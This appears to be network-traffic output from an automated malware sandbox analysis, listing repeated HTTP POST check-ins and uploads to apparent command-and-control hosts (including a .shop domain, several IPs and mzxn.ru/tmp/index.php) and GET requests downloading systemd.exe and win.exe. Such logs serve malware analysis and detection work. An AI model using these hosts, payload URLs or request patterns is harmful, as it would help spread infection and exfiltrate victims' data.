Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1245Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552479Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ntsgigbhjmdewium.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xxoccdqcbwgkfun.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://brsvjaqkplqcgpbh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://micjtprwldhqig.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nsmonxwrtdtb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jcdtuefeynnuyume.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jmeyyrwebcswyji.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://csqyjswelakff.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: mzxn.ru
Source: global traffic HTTP traffic detected: GET /systemd.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.221.157.163
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uiqytnopuefi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://sqybtthvvjvcy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uancqnbiphxqrd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://voprlhobiib.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ychtpaufegv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: mzxn.ru
Source: global traffic HTTP traffic detected: GET /win.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 64.190.113.113
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://kabrxolnvhyrwjnc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dbnuufytckctj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://alsfxtrkgnqwrtmu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jhgsrssviwperqc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qtugjgfklgqqb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lgvneckioyenslmr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hqtvwjoqbrnqlnm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://oumdrdjjbggqm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gwdkbhdjbqj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://njjerjslsvwgqvn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: mzxn.ru
